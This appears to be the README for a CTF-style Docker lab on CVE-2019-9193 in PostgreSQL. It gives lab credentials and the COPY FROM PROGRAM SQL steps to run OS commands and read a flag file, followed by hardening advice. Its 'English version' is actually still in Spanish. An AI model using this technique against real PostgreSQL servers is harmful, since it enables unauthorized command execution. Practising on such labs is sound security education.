CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

INGLÉS ABAJO

Este laboratorio simula la vulnerabilidad CVE-2019-9193 presente en PostgreSQL versión 9.3 - 11.2, que permite a los usuarios superuser o con el rol pg_execute_server_program usar el comando:

COPY ... FROM PROGRAM '<command>'

para ejecutar comandos del sistema operativo directamente, lo que provoca Remote Command Execution (RCE) si el atacante puede acceder a la base de datos.

Este laboratorio te permite usar esta capacidad para leer el archivo:

/tmp/flag.txt

Objetivo del laboratorio

1. Conéctate a PostgreSQL con:
   • Usuario: postgres
   • Contraseña: sentinel7
   • Puerto: 5433
2. Usa COPY FROM PROGRAM para ejecutar comandos del sistema
3. Lee la flag de /tmp/flag.txt

Primeros pasos

docker compose build
docker compose up -d

A continuación, conéctate a la base de datos:

psql -U postgres -h 127.0.0.1 -p 5433

Pasos del ataque

1) Crear una tabla para almacenar la salida

CREATE TABLE cmd_exec(cmd_output text);

2) Probar RCE con el comando id

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Leer la flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Ejemplo de salida:

flag{SECRET}

Recomendaciones de seguridad

• No uses el usuario postgres en aplicaciones reales
• Restringe los roles para que no tengan pg_execute_server_program
• Desactiva o restringe el uso de COPY PROGRAM
• Protege todos los sistemas contra SQLi

VERSIÓN EN INGLÉS

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

Este laboratorio simula CVE-2019-9193, una vulnerabilidad de PostgreSQL 9.3–11.2 que permite:

COPY ... FROM PROGRAM '<command>'

ejecutar comandos del sistema operativo cuando lo usa un superusuario o un rol con pg_execute_server_program.

Tu tarea es explotar esta función para leer:

/tmp/flag.txt

Objetivo

1. Conéctate a PostgreSQL:
   • Usuario: postgres
   • Contraseña: sentinel7
   • Puerto del host: 5433
2. Usa COPY FROM PROGRAM para:
   • Ejecutar comandos del sistema operativo
   • Recuperar la flag

Primeros pasos

docker compose build
docker compose up -d

Conéctate a través de:

psql -U postgres -h 127.0.0.1 -p 5433

Explotación

1) Crear la tabla

CREATE TABLE cmd_exec(cmd_output text);

2) Probar RCE

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Leer la flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Notas de seguridad

• Nunca ejecutes aplicaciones que utilicen el superusuario de PostgreSQL
• No concedas pg_execute_server_program innecesariamente
• Desactiva o restringe COPY PROGRAM
• Refuerza las aplicaciones contra la inyección SQL